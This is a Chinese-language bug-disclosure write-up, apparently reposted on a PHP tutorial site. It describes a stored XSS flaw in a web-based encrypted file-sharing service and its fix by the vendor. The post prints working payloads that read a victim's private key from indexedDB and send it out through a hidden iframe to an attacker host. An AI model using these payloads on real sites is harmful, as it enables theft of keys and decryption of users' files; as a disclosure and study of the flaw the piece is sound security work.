背景
# 不久前,發佈於荷蘭某科技網站的一篇文章展示了一種新發布的線上服務,其聲稱利用該服務可透過Web方式實現用戶端到端的文件請求傳輸。
和以前一樣,因為我對這種安全加密實作非常感興趣,所以看到這篇文章我有種測試衝動了。文章聲稱這種透過web方式的文件請求是安全的,果真如此嗎?這個加密服務網站只介紹了幾種使用RSA和AES私鑰的本地端對端加密方法,並未深入對其特定的加密實現作出介紹,而且,其應用也不是開源的,所以難得從程式碼審計或白皮書說明去入手。
雖然該加密服務網站聲稱它們提供的服務絕對安全可靠,但我覺得任何人都會犯錯,所以我決定深入測試分析。
在名稱處發現儲存型XSS漏洞
註冊了帳號之後,我就開始測試,不一會我就發現在帳號名稱和公司名稱欄位區域存在儲存型XSS漏洞。該加密服務允許用戶創建一個文件請求,該請求會產生一個鏈接,可以將該鏈接通過郵件形式發送給其它服務用戶。收件者收到該連結郵件後,開啟郵件就能看到一個頁面,在該頁面中可以進行文件上傳操作。使用者建立的文件請求包含了使用者在客戶端用於文件加密的公鑰資訊。
這裡的問題是,在這個檔案請求產生的連結頁面中,其使用者名稱或公司名字段未經過濾處理,可以實現XSS Payload觸發,如果在其中加入XSS Payload-<script> alert('Hi there!');</script>,把對應檔案請求連結發給其他使用者後,當連結被開啟會被執行XSS,如下:
也就是說,我們能在目標使用者的系統中執行任意程式碼,幹一些壞事,但如何來深入利用它呢?
取得目標使用者本地私鑰資訊
#該加密服務使用客戶端非對稱加密來保護用戶文件,由於加密服務是透過網站的形式來部署的,所以其加密機制應該是透過JavaScript來呼叫實現的,也就是說,可以透過JavaScript來取得到本地的私鑰資訊。經分析發現,此加密服務將使用者產生的私鑰資訊儲存在本地的indexedDB資料庫中,且不可透過網路傳送。
用戶私鑰在此是保護用戶加密文件的重要資訊了,有了私鑰才能解密使用其配對金鑰加密的文件,必須好好保護私鑰且不能分享給其他人。
你可能已經猜到了,我們可以在上述存在儲存型XSS漏洞的名字欄位內,透過變更Payload來取得使用者私鑰。我寫了獲取本地存儲信息的代碼,並層層篩選測試,最終有了以下獲取本地用戶私鑰的代碼:
var dbReq = indexedDB.open("companyname"); dbReq.onsuccess = () => { var store = dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key"); store.onsuccess = () => alert(store.result.pem); };
把這段代碼嵌入名字字段,然後生成文件請求鏈接,打開這個連結就能反彈顯示使用者的私鑰資訊:
從攻擊者端收集受害者私鑰資訊
這樣彈出用戶私鑰資訊的方式可不好,我們得把它發送到我們控制的遠端伺服器上才行,對吧。為此,我嘗試用POST方式把私鑰資訊傳送到我控制的遠端伺服器上去。我遇到了第一個問題,上述存在XSS漏洞的名字區域最多只允許輸入255個字符,但 JavaScript 的請求又非常冗長,所以需要盡量把代碼簡化。
但很快,我發現在服務應用程式中存在 jQuery,它允許發出非常簡單和簡短的Ajax請求,太好了。但最終卻因為CORS的限制,我沒能成功。
有人可能會說是因為我的遠端伺服器上沒配置正確,但我確實把Access-Control-Allow-Origin設定成了*,還是不行,所以我只能估計是服務端CORS頭配置的限制了。
但对于非Ajax请求来说,我发现在GET请求中,如果把数据放到URL后就是一种很好的传输方式,为此我选择了iframes方式的链接嵌入。把数据放到URL之后,如//example.com/?k=DATA,然后在请求生成的链接页面中隐蔽添加了一个iframes。受害者浏览器会加载该iframes框架,把数据回传给我,如:
$('body').append( '<iframe src="//example.com/?k=' + btoa(JSON.stringify(secret_data)) + '" />' );
用window.location.href方法让受害用户执行重定向跳转到攻击者页面,也是可行的,但这难免会引起怀疑。
就这样,我们就能远程收集获取到目标用户的私钥信息了!
Proof of Concept
经过测试,我把上述代码压缩,并填入我的远程服务器短域名,刚好是250个字符,低于255个最大字符的限制。完美!
<script>setTimeout(()=>indexedDB.open("companyname").onsuccess=(a)=>a.target.result.transaction(["keys"]). objectStore("keys").getAll().onsuccess=(b)=>$('body').append('<iframe src="//example.org?k='+btoa (JSON.stringify(b.target.result))+'">'),1);</script>
参考以下POC视频:
https://uploads.timvisee.com/p/stealing-private-keys-from-secure-file-sharing-service-poc-video.webm
在我的远程服务器端,我用了一个简单的PHP脚本来收集上述传输回来的附加在URL后的目标用户数据,进行解析提取,会形成一个keys.txt文件进行存储。
总结
测试有效后,我及时联系了厂商,他们在15分钟就给了回复,经过一番讨论之后,他们在一个小时之内就及时修复了该漏洞。所以,我的经验是,别单单根据网站或厂商的说明去相信一项服务的安全性,安全的前提须基于以下因素:
运行有一段时间;
是开源的;
经过现实应用的考验;
经过多方参与的安全审计;
只有经过深入的研究和审查才能声称是安全的;
或者由其它可信安全的第三方托管运行。
相关文章教程推荐:web服务器安全教程
以上是透過儲存型XSS漏洞取得目標用戶本地私鑰訊息的詳細內容。更多資訊請關注PHP中文網其他相關文章!